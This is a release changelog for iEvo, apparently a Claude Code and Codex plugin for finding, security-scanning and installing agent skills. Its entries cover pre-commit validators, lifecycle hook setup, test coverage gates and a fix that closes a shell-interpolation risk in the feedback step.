Eva proposal #60 applied. New utf8-validate.mjs pre-commit validator (.github/scripts/validators/) using TextDecoder { fatal: true } for byte-level UTF-8 verification. Closes a Codex skill-load hole: Codex rust-v0.133.0 (May 21, 2026) started warning on invalid UTF-8 in AGENTS / SKILL.md files instead of silent drops; catching the bad bytes at commit time prevents broken files from ever reaching install. Concrete failure modes caught: CP-1252 smart quotes from Word-paste (0x91-0x94, 0x96-0x97), Latin-1 / mis-encoded escape sequences in terminalSequence examples, truncated multi-byte tails at EOF. Wired into .pre-commit-config.yaml for .md/.mjs/.js/.ts/.py/.sh/.yaml/.yml/.json/.txt (excluding package-lock.json + coverage.lcov); CI pre-commit-gate.yml runs pre-commit run --all-files so no workflow change needed. Lives in .github/scripts/validators/ — 100% coverage rule does not apply to lint-infra. Credit: @ievo-eva for the proposal + verified citations (Codex rust-v0.133.0 release notes; agentskills/agentskills PR #386 + #343 Windows UTF-8 fixes).

v0.6.10

Eva proposal #59 applied. /ievo:hooks-setup skill extended with a new optional Step 5.5: read-side Stop hook for "all background agents complete" notification. Uses the background_tasks + session_crons fields added to Stop / SubagentStop hook input in Claude Code v2.1.145 — the hook fires its notification only when both arrays are empty (typically the moment parallel security-auditor / repo-indexer subagents dispatched by /ievo:init are done). Hook script written to .ievo/hooks/scripts/on-stop.sh; exits 0 unconditionally per the CLAUDE_CODE_STOP_HOOK_BLOCK_CAP (default 8, v2.1.143+) blocking-Stop-hook semantics. Notification command parameterised: macOS osascript, Linux notify-send, terminal BEL fallback, or user-supplied custom. Read-side Stop hook is structurally distinct from the v0.6.9 write-side PostToolUse matchers (Write(.ievo/hooks/<event>)); both coexist in the same settings.json. Credit: @ievo-eva for the proposal + verified citations against the v2.1.145 release notes.

v0.6.9

Eva proposal #57 applied with full integration. New /ievo:hooks-setup skill configures Claude Code lifecycle hooks for iEvo pipeline events (init-complete / security-red / evolution-captured) using exec-form args: string[] (v2.1.139+) and terminalSequence (v2.1.141+) — verified against release notes. Signal-file integration added to init/SKILL.md (Step 11.5 — writes .ievo/hooks/init-complete), evolution/SKILL.md (Step 5.5 — writes .ievo/hooks/evolution-captured after overlay append), and security-auditor.md (Step 6 — writes .ievo/hooks/security-red only on RED verdict). Without these signal files the hooks would have nothing to fire on — Eva's original #57 acknowledged this as a "follow-up PR needed"; bundled into v0.6.9 instead so the feature ships functional end-to-end. Credit: @ievo-eva for the skill design + verified Claude Code feature citations.

v0.6.8

Eva proposals #52 + #51 + #53 applied.

• #52: CLAUDE_CODE_SUBAGENT_MODEL env var (Claude Code v2.1.146+) overrides agent frontmatter model: per official docs — operator setting it to a Haiku-tier value silently downgrades security-auditor. Warning added to security-auditor.md, AGENTS.md Security model section, and README "Known configuration gotcha" subsection.
• #51: Codex doctor pre-flight (Codex rust-v0.131.0 shipped this diagnostic) added to init/SKILL.md Step 1.5 — fail fast with clear remediation on unhealthy Codex environments.
• #53: new coverage-audit.md at repo root maps user-intent → skill/command/agent/script with covered/gap/planned status. Pattern adopted from DenisSergeevitch/agents-best-practices/references/coverage-audit.md — credit upstream.

v0.6.7

scan_repo.mjs tests landed (the HARD STOP from v0.6.6 honoured). 6-phase refactor + 121 tests bring it to literal 100/100/100. CARVE_OUTS map in .github/scripts/check-coverage.mjs is now empty; the 100% rule applies to every .mjs in plugins/ievo/scripts/ without exception. One dead ?? [] defensive guard removed from renderIndexMd in the process (unreachable since enumerateOnePlugin always populates skills).

v0.6.6

Third Eva PR bundle (#47 + #48): index-repos/SKILL.md rule clarified — scan_repo.mjs tracks its own format-version independently of plugin.json (currently 1.1.0, inherited from community-index-bot lineage); only discover.mjs is coupled to plugin.json and that coupling is enforced by discover.test.mjs. Plus commands/uninstall.md allowed-tools line now includes Bash — the Step 1 grep -l calls previously triggered manual-approval prompts.

v0.6.5

Second Eva PR bundle (#44 + #45): missing debug-on / debug-off entries added to AGENTS.md + README directory listings, scripts listing in README expanded with discover.mjs / validate_agents.mjs / tests/, /ievo:debug-on + /ievo:debug-off rows added to README skills table. Security fix: feedback/SKILL.md Step 6 now writes the issue body via the Write tool + passes it to gh via --body-file instead of inline --body "..." — closes a shell-interpolation surface (user-verbatim feedback could contain backticks / $(...) / ${VAR}). Pattern already enforced in init/SKILL.md Step 8b; this brings feedback into alignment.

v0.6.4

Eva PR bundle (4 small text fixes that had been queued as PRs #37–#40 against the v0.6.2 baseline, all coverage-gated due to stale SCRIPT_VERSION coupling): stale "Python" → "Node" in index-repos/SKILL.md; stale risk: <tier> → mcp: yes/no in repo-indexer.md + index-repos/SKILL.md stdout-format docs; universal-first compatibility in evolution/SKILL.md; vendor-neutral "Sonnet family" instead of pinned "Sonnet 4.6+" in security-check/SKILL.md. Plus /home/runner whitelist in machine-local-paths.mjs (CI-doc false-positive from PR #41 claude-review).

v0.6.3

Pre-commit hooks (5 validators: nested fences, machine-local paths, CRLF frontmatter, placeholder leakage, agent frontmatter) + .github/workflows/pre-commit-gate.yml server-side mirror; AGENTS.md "wait for in-progress reviews" rule promoted from operator memory; 2 pre-existing nested-fence bugs in feedback/SKILL.md fixed as the validator caught them.

v0.6.2

claude-review follow-ups: pathToFileURL in tests for Windows-correct file URLs; parseLcov keys by full SF path with explicit basename-collision detection.

v0.6.1

CI coverage gate (.github/workflows/coverage-gate.yml), isCliEntry refactor closes the CLI-entry-guard branch gap → ledger carve-outs dropped.

v0.6.0

discover.mjs (own skills.sh API integration, drop find-skills prereq), debug-on / debug-off skills, 100% test coverage rule.

v0.5.2

Antivirus deep-scan security model. Dropped owner-based trust (TRUSTED_OWNERS), risk_tier heuristics, pattern-matching verdicts. Current Sonnet-family reasoning over full content + all dependencies is the only trust signal (declared via vendor-neutral model: sonnet alias). Report-to-source flow — file a pre-filled GitHub issue at the source repo when a RED verdict is detected.

v0.5.1

npx skills add --all --copy flags; hard-stop on missing find-skills prereq.

v0.5.0

All-user-side architecture. Full Node migration. Categorical ranking. Parallel security-auditor sub-agents.

v0.4 (reverted)

Pre-built community-index integration. Replaced with a simpler user-side architecture in v0.5.

v0.3

Codex support, checkout-based indexing (no API rate limits), Python scanner.

v0.2

Initial pipeline (find-skills → index-repos → security-check → install) + overlay model.